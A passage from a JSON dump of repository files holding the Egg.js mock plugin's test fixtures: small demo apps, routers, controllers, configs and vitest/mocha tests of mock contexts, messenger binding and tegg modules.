    "content": "module.exports = async function () {\n  this.session.save();\n  this.body = this.session;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/controller/user.js",
    "content": "exports.get = async function () {\n  this.body = this.user;\n};\n\nexports.post = async function () {\n  this.body = {\n    user: this.user,\n    params: this.request.body,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/extend/application.js",
    "content": "module.exports = {\n  mockDevice(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  async mockGenerator(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  mockPromise(obj) {\n    obj.mock = true;\n    return Promise.resolve(obj);\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', app.controller.home.get);\n  app.get('/hello', app.controller.home.hello);\n  app.get('/service', app.controller.home.service);\n  app.get('/service/old', app.controller.home.serviceOld);\n  app.get('/header', app.controller.home.header);\n  app.get('/urllib', app.controller.home.urllib);\n  app.get('/mock_url', app.controller.home.mockUrlGet);\n  app.get('/mock_url2', app.controller.home.mockUrlGet);\n  app.post('/mock_url', app.controller.home.mockUrlPost);\n  app.post('/mock_url2', app.controller.home.mockUrlPost);\n  app.get('/mock_urllib', app.controller.home.mockUrllibHeaders);\n  app.get('/data_type', app.controller.home.dataType);\n  app.get('session', '/session', app.controller.session);\n\n  app.post('/', app.controller.home.post);\n\n  app.get('/user', app.controller.user.get);\n  app.post('/user', app.controller.user.post);\n  app.post('/file', app.controller.file);\n\n  app.get('/streaming', 'home.streaming');\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/service/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/service/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/service/old.js",
    "content": "module.exports = () => {\n  exports.test = async function () {\n    return 'hello';\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/service/third/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/config/config.js",
    "content": "module.exports = {\n  httpclient: {\n    useHttpClientNext: true,\n    allowH2: true,\n    request: {\n      timing: true,\n    },\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/context.js",
    "content": "module.exports = {\n  getResult(result) {\n    return {\n      body: result,\n    };\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/controller/home.js",
    "content": "exports.get = async function () {\n  this.body = {\n    cookieValue: this.getCookie('foo') || undefined,\n    cookiesValue: this.cookies.get('foo') || undefined,\n    sessionValue: this.session.foo,\n  };\n};\n\nexports.post = async function () {\n  this.body = 'done';\n};\n\nexports.hello = async function () {\n  this.body = 'hi';\n};\n\nexports.service = async function () {\n  this.body = {\n    foo1: await this.service.foo.get(),\n    foo2: await this.service.bar.foo.get(),\n    foo3: this.service.foo.getSync(),\n    thirdService: await this.service.third.bar.foo.get(),\n  };\n};\n\nexports.serviceOld = async function () {\n  this.body = await this.service.old.test();\n};\n\nexports.header = async function () {\n  this.body = {\n    header: this.get('customheader'),\n  };\n};\n\nexports.urllib = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const dataType = this.query.dataType;\n  let r = this.app.httpclient[method](url + '/mock_url', {\n    dataType,\n  });\n  if (method === 'request') r = r.then((d) => d);\n  const r1 = await r;\n  const r2 = await this.app.httpclient[method](url + '/mock_url', {\n    method: 'POST',\n    dataType,\n  });\n  this.body = {\n    get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n    post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n  };\n};\n\nexports.mockUrlGet = async function () {\n  this.body = 'url get';\n};\n\nexports.mockUrlPost = async function () {\n  this.body = 'url post';\n};\n\nexports.mockUrllibHeaders = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const res = await this.app.httpclient[method](url + '/mock_url');\n  this.body = res.headers;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/controller/session.js",
    "content": "module.exports = async function () {\n  this.body = this.session;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', app.controller.home.get);\n  app.get('/hello', app.controller.home.hello);\n  app.get('/service', app.controller.home.service);\n  app.get('/service/old', app.controller.home.serviceOld);\n  app.get('/header', app.controller.home.header);\n  app.get('/urllib', app.controller.home.urllib);\n  app.get('/mock_url', app.controller.home.mockUrlGet);\n  app.post('/mock_url', app.controller.home.mockUrlPost);\n  app.get('/mock_urllib', app.controller.home.mockUrllibHeaders);\n  app.get('/session', app.controller.session);\n\n  app.post('/', app.controller.home.post);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/service/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/service/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/service/old.js",
    "content": "module.exports = () => {\n  exports.test = async function () {\n    return 'hello';\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app/service/third/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  urllib: {\n    keepAlive: false,\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/config/plugin.js",
    "content": "'use strict';\n\nexports.security = false;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/disable-security/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/error-framework/index.js",
    "content": "const egg = require('egg');\n\nclass Application extends egg.Application {\n  constructor() {\n    throw new Error('start error');\n  }\n}\n\nexports.Application = Application;\nexports.Agent = egg.Agent;\nexports.startCluster = egg.startCluster;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/error-framework/package.json",
    "content": "{\n  \"name\": \"error-framework\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/failed-app/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/failed-app/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/failed-app/test/index.test.js",
    "content": "const { describe, it, beforeAll, afterAll, beforeEach, afterEach } = require('vitest');\nconst assert = require('assert');\n\ndescribe('test/index.test.ts', () => {\n  describe('before error', () => {\n    beforeAll(() => {\n      throw new Error('before error');\n    });\n\n    it('should not print', () => {\n      assert.fail('never arrive');\n    });\n  });\n\n  describe('after error', () => {\n    afterAll(() => {\n      throw new Error('after error');\n    });\n\n    it('should print', () => {\n      console.log('after error test case should print');\n    });\n  });\n\n  describe('beforeEach error', () => {\n    beforeEach(() => {\n      throw new Error('beforeEach error');\n    });\n\n    it('should not print', () => {\n      assert.fail('never arrive');\n    });\n  });\n\n  describe('afterEach error', () => {\n    afterEach(() => {\n      throw new Error('afterEach error');\n    });\n\n    it('should print', () => {\n      console.log('afterEach error test case should print');\n    });\n  });\n\n  describe('case error', () => {\n    it('should failed', () => {\n      assert.fail('should fail');\n    });\n\n    it('should work', () => {\n      // ...\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/fooPlugin/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.fooPlugin = true;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/fooPlugin/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/fooPlugin/config/plugin.js",
    "content": "'use strict';\n\nexports.fooPlugin = {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/fooPlugin/package.json",
    "content": "{\n  \"name\": \"fooPlugin\",\n  \"eggPlugin\": {\n    \"name\": \"fooPlugin\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/get-app-failed/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/get-app-failed/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/get-app-failed/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst { setGetAppCallback } = require('../../../..');\n\nsetGetAppCallback(() => {\n  throw new Error('mock get app failed');\n});\n\ndescribe('test case create context error', () => {\n  it('should not print', () => {});\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/messenger-binding/agent.js",
    "content": "module.exports = class Boot {\n  constructor(agent) {\n    this.agent = agent;\n  }\n\n  async willReady() {\n    const agent = this.agent;\n    agent.received = [];\n    agent.messenger.on('action', (data) => {\n      agent.received.push(data);\n      console.error('agent.js received action data: %o', data);\n    });\n\n    agent.messenger.on('broadcast-action', () => {\n      agent.recievedBroadcastAction = true;\n      agent.messenger.sendToApp('agent-recieved-broadcast-action');\n    });\n\n    agent.messenger.sendToApp('action', 'send data to app when agent starting');\n  }\n\n  async didReady() {\n    const agent = this.agent;\n    agent.eggReady = true;\n    agent.messenger.sendToApp('action', 'send data to app when agent started');\n  }\n\n  async serverDidReady() {\n    console.error('agent.js serverDidReady start');\n    const agent = this.agent;\n    // only can send message to app when server started\n    agent.messenger.sendToApp('action', 'send data to app when server started');\n    agent.messenger.sendRandom('action', 'send data to a random app');\n    agent.serverReady = true;\n    console.error('agent.js serverDidReady end');\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/messenger-binding/app.js",
    "content": "module.exports = class Boot {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async willReady() {\n    const app = this.app;\n    app.received = [];\n    app.messenger.on('action', (data) => {\n      app.received.push(data);\n      console.error('app.js received action data: %o', data);\n    });\n\n    app.messenger.on('app-action', () => {\n      app.recievedAppAction = true;\n    });\n\n    app.messenger.on('broadcast-action', () => {\n      app.recievedBroadcastAction = true;\n    });\n\n    app.messenger.on('agent-recieved-broadcast-action', () => {\n      app.recievedAgentRecievedAction = true;\n    });\n\n    app.messenger.sendToAgent('action', 'send data to agent when app starting');\n\n    // app.ready(() => {\n    //   app.messenger.sendToAgent('action', 'send data when app started');\n    //   app.messenger.sendRandom('action', 'send data to a random agent');\n    //   app.messenger.broadcast('broadcast-action', 'broadcast action');\n    //   app.messenger.sendToApp('app-action', 'send action to app');\n    // });\n    // app.messenger.on('egg-ready', data => {\n    //   app.eggReady = true;\n    //   app.eggReadyData = data;\n    // });\n  }\n\n  async didReady() {\n    const app = this.app;\n    app.eggReady = true;\n    app.messenger.sendToAgent('action', 'send data to agent when app started');\n  }\n\n  async serverDidReady() {\n    const app = this.app;\n    // only can send message to agent when server started\n    app.messenger.sendRandom('action', 'send data to a random agent');\n    app.messenger.broadcast('broadcast-action', 'broadcast action');\n    app.messenger.sendToApp('app-action', 'send action to app');\n    app.messenger.sendToApp('action', 'send action to all app');\n    app.serverReady = true;\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/messenger-binding/config/config.default.js",
    "content": "exports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/messenger-binding/package.json",
    "content": "{\n  \"name\": \"messenger-binding\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/plugin/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"plugin1\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/plugin-bootstrap/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"plugin1\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/plugin-bootstrap/test.js",
    "content": "require('../../../dist/commonjs/bootstrap');\n"
  },
  {
    "path": "plugins/mock/test/fixtures/plugin_throw/package.json",
    "content": "{}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/request/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', async function () {\n    this.body = 'hello world';\n  });\n\n  app.get('session', '/session', async function () {\n    this.body = 'hello session';\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/request/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/request/package.json",
    "content": "{\n  \"name\": \"request-demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/server/app.js",
    "content": "module.exports = (app) => {\n  app.messenger.on('egg-ready', (server) => {\n    app.emitServer = !!server;\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/server/package.json",
    "content": "{\n  \"name\": \"server\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/setup-app/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/setup-app/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/setup-app/test/.setup.js",
    "content": "const mm = require('../../../../index');\nconst path = require('path');\nbefore(async () => {\n  global.app = mm.app({\n    baseDir: path.join(__dirname, '../'),\n    framework: require.resolve('egg'),\n  });\n  mm.setGetAppCallback(() => {\n    return global.app;\n  });\n  await global.app.ready();\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/setup-app/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst assert = require('assert');\n\ndescribe('test/index.test.ts', () => {\n  it('should work', () => {\n    // eslint-disable-next-line no-undef\n    assert(app.currentContext);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/simple/app/controller/home.js",
    "content": "exports.hello = (ctx) => {\n  ctx.body = 'hi';\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/simple/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', app.controller.home.hello);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/simple/config/config.default.js",
    "content": "module.exports = {\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/simple/package.json",
    "content": "{\n  \"name\": \"simple\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/app/modules/foo/LogService.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\n\ninterface Tracer {\n  traceId: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class LogService {\n  @Inject()\n  private readonly tracer: Tracer;\n\n  getTracerId() {\n    return this.tracer.traceId;\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/app/modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/app.js",
    "content": "module.exports = (app) => {\n  app.on('server', (server) => {\n    app.serverKeepAliveTimeout = server.keepAliveTimeout || 5000;\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/config/config.default.js",
    "content": "module.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/config/plugin.js",
    "content": "module.exports = {\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/package.json",
    "content": "{\n  \"name\": \"app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/test/hooks.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { Context } from 'egg';\n\n// import { app } from '../../../../src/bootstrap.js';\nimport { app } from '../../../../dist/commonjs/bootstrap.js';\n\ndescribe('test/hooks.test.ts', () => {\n  let beforeCtx;\n  let afterCtx;\n  const beforeEachCtxList: Record<string, Context> = {};\n  const afterEachCtxList: Record<string, Context> = {};\n  const itCtxList: Record<string, Context> = {};\n\n  before(async () => {\n    beforeCtx = app.currentContext;\n  });\n\n  after(() => {\n    afterCtx = app.currentContext;\n    assert(beforeCtx);\n    assert(beforeCtx !== itCtxList.foo);\n    assert(itCtxList.foo !== itCtxList.bar);\n    assert(afterCtx === beforeCtx);\n    assert(beforeEachCtxList.foo === afterEachCtxList.foo);\n    assert(beforeEachCtxList.foo === itCtxList.foo);\n  });\n\n  describe('foo', () => {\n    beforeEach(() => {\n      beforeEachCtxList.foo = app.currentContext as Context;\n    });\n\n    it('should work', () => {\n      itCtxList.foo = app.currentContext as Context;\n    });\n\n    afterEach(() => {\n      afterEachCtxList.foo = app.currentContext as Context;\n    });\n  });\n\n  describe('bar', () => {\n    beforeEach(() => {\n      beforeEachCtxList.bar = app.currentContext as Context;\n    });\n\n    it('should work', () => {\n      itCtxList.bar = app.currentContext as Context;\n    });\n\n    afterEach(() => {\n      afterEachCtxList.bar = app.currentContext as Context;\n    });\n  });\n\n  describe('multi it', () => {\n    const itCtxList: Array<Context> = [];\n\n    it('should work 1', () => {\n      itCtxList.push(app.currentContext as Context);\n    });\n\n    it('should work 2', () => {\n      itCtxList.push(app.currentContext as Context);\n    });\n\n    after(() => {\n      assert(itCtxList[0] !== itCtxList[1]);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/test/multi_mock_context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from '../../../../dist/commonjs/bootstrap.js';\n\ndescribe('test/multi_mock_context.test.ts', () => {\n  describe('mockContext', () => {\n    it('should only reused once', async () => {\n      const currentContext = app.currentContext;\n      const ctx1 = app.mockContext();\n      const ctx2 = app.mockContext();\n      assert.strictEqual(currentContext, ctx1);\n      assert.notStrictEqual(ctx2, ctx1);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/test/tegg.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\n// import { app } from '../../../../src/bootstrap.js';\nimport { app } from '../../../../dist/commonjs/bootstrap.js';\nimport { LogService } from '../app/modules/foo/LogService.js';\n\ndescribe('test/tegg.test.ts', () => {\n  describe('async function', () => {\n    it('should work', async () => {\n      const logService = await app.getEggObject(LogService);\n      assert(logService.getTracerId());\n    });\n  });\n\n  describe('callback function', () => {\n    it('should work', (done) => {\n      app.mockModuleContextScope(async () => {\n        const logService = await app.getEggObject(LogService);\n        assert(logService.getTracerId());\n        done();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/test/tegg_context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { Context } from 'egg';\n\n// import { app, mm } from '../../../../src/bootstrap.js';\nimport { app, mm } from '../../../../dist/commonjs/bootstrap.js';\nimport { LogService } from '../app/modules/foo/LogService.js';\n\ndescribe('test/tegg_context.test.ts', () => {\n  let ctx: Context;\n  let logService: LogService;\n  before(async () => {\n    logService = await app.getEggObject(LogService);\n  });\n\n  describe('mock ctx property', () => {\n    it('should mock ctx work', async () => {\n      ctx = await app.mockModuleContext();\n      mm(ctx.tracer, 'traceId', 'mockTraceId');\n      const traceId = logService.getTracerId();\n      assert.strictEqual(traceId, 'mockTraceId');\n    });\n  });\n\n  describe.skip('mockModuleContextWithData', () => {\n    beforeEach(async () => {\n      const ctx = await app.mockModuleContext({\n        tracer: {\n          traceId: 'mock_with_data',\n        },\n        headers: {\n          'user-agent': 'mock_agent',\n        },\n      });\n      assert.strictEqual(ctx.tracer.traceId, 'mock_with_data');\n      assert.strictEqual(ctx.get('user-agent'), 'mock_agent');\n    });\n\n    it('should mock ctx work', () => {\n      const traceId = logService.getTracerId();\n      assert.strictEqual(traceId, 'mock_with_data');\n    });\n  });\n\n  describe.skip('mockModuleContextWithHeaders', () => {\n    beforeEach(async () => {\n      await app.mockModuleContext({\n        headers: {\n          'user-agent': 'mock_agent',\n        },\n      });\n    });\n\n    it('should mock ctx work', () => {\n      assert.strictEqual(app.currentContext!.get('user-agent'), 'mock_agent');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app/typing.ts",
    "content": "import 'egg';\nimport '@eggjs/tegg-plugin';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/app/modules/foo/LogService.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\n\ninterface Tracer {\n  traceId: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class LogService {\n  @Inject()\n  private readonly tracer: Tracer;\n\n  getTracerId() {\n    return this.tracer.traceId;\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/app/modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/app.js",
    "content": "export default (app) => {\n  app.on('server', (server) => {\n    app.serverKeepAliveTimeout = server.keepAliveTimeout || 5000;\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/config/config.default.js",
    "content": "export default {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/config/plugin.js",
    "content": "export default {\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/package.json",
    "content": "{\n  \"name\": \"app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/test/hooks.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { Context } from 'egg';\n\n// import { app } from '../../../../src/bootstrap.js';\nimport { app } from '../../../../dist/esm/bootstrap.js';\n\ndescribe('test/hooks.test.ts', () => {\n  let beforeCtx;\n  let afterCtx;\n  const beforeEachCtxList: Record<string, Context> = {};\n  const afterEachCtxList: Record<string, Context> = {};\n  const itCtxList: Record<string, Context> = {};\n\n  before(async () => {\n    beforeCtx = app.currentContext;\n  });\n\n  after(() => {\n    afterCtx = app.currentContext;\n    assert(beforeCtx);\n    assert(beforeCtx !== itCtxList.foo);\n    assert(itCtxList.foo !== itCtxList.bar);\n    assert(afterCtx === beforeCtx);\n    assert(beforeEachCtxList.foo === afterEachCtxList.foo);\n    assert(beforeEachCtxList.foo === itCtxList.foo);\n  });\n\n  describe('foo', () => {\n    beforeEach(() => {\n      beforeEachCtxList.foo = app.currentContext as Context;\n    });\n\n    it('should work', () => {\n      itCtxList.foo = app.currentContext as Context;\n    });\n\n    afterEach(() => {\n      afterEachCtxList.foo = app.currentContext as Context;\n    });\n  });\n\n  describe('bar', () => {\n    beforeEach(() => {\n      beforeEachCtxList.bar = app.currentContext as Context;\n    });\n\n    it('should work', () => {\n      itCtxList.bar = app.currentContext as Context;\n    });\n\n    afterEach(() => {\n      afterEachCtxList.bar = app.currentContext as Context;\n    });\n  });\n\n  describe('multi it', () => {\n    const itCtxList: Array<Context> = [];\n\n    it('should work 1', () => {\n      itCtxList.push(app.currentContext as Context);\n    });\n\n    it('should work 2', () => {\n      itCtxList.push(app.currentContext as Context);\n    });\n\n    after(() => {\n      assert(itCtxList[0] !== itCtxList[1]);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/test/multi_mock_context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from '../../../../dist/commonjs/bootstrap.js';\n\ndescribe('test/multi_mock_context.test.ts', () => {\n  describe('mockContext', () => {\n    it('should only reused once', async () => {\n      const currentContext = app.currentContext;\n      const ctx1 = app.mockContext();\n      const ctx2 = app.mockContext();\n      assert.strictEqual(currentContext, ctx1);\n      assert.notStrictEqual(ctx2, ctx1);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/test/tegg.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\n// import { app } from '../../../../src/bootstrap.js';\nimport { app } from '../../../../dist/commonjs/bootstrap.js';\nimport { LogService } from '../app/modules/foo/LogService.js';\n\ndescribe('test/tegg.test.ts', () => {\n  describe('async function', () => {\n    it('should work', async () => {\n      const logService = await app.getEggObject(LogService);\n      assert(logService.getTracerId());\n    });\n  });\n\n  describe('callback function', () => {\n    it('should work', (done) => {\n      app.mockModuleContextScope(async () => {\n        const logService = await app.getEggObject(LogService);\n        assert(logService.getTracerId());\n        done();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/test/tegg_context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { Context } from 'egg';\n\n// import { app, mm } from '../../../../src/bootstrap.js';\nimport { app, mm } from '../../../../dist/commonjs/bootstrap.js';\nimport { LogService } from '../app/modules/foo/LogService.js';\n\ndescribe('test/tegg_context.test.ts', () => {\n  let ctx: Context;\n  let logService: LogService;\n  before(async () => {\n    logService = await app.getEggObject(LogService);\n  });\n\n  describe('mock ctx property', () => {\n    it('should mock ctx work', async () => {\n      ctx = await app.mockModuleContext();\n      mm(ctx.tracer, 'traceId', 'mockTraceId');\n      const traceId = logService.getTracerId();\n      assert.strictEqual(traceId, 'mockTraceId');\n    });\n  });\n\n  describe.skip('mockModuleContextWithData', () => {\n    beforeEach(async () => {\n      const ctx = await app.mockModuleContext({\n        tracer: {\n          traceId: 'mock_with_data',\n        },\n        headers: {\n          'user-agent': 'mock_agent',\n        },\n      });\n      assert.strictEqual(ctx.tracer.traceId, 'mock_with_data');\n      assert.strictEqual(ctx.get('user-agent'), 'mock_agent');\n    });\n\n    it('should mock ctx work', () => {\n      const traceId = logService.getTracerId();\n      assert.strictEqual(traceId, 'mock_with_data');\n    });\n  });\n\n  describe.skip('mockModuleContextWithHeaders', () => {\n    beforeEach(async () => {\n      await app.mockModuleContext({\n        headers: {\n          'user-agent': 'mock_agent',\n        },\n      });\n    });\n\n    it('should mock ctx work', () => {\n      assert.strictEqual(app.currentContext!.get('user-agent'), 'mock_agent');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/tegg-app-esm/typing.ts",
    "content": "import 'egg';\nimport '@eggjs/tegg-plugin';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/test-case-create-context-failed/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/test-case-create-context-failed/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
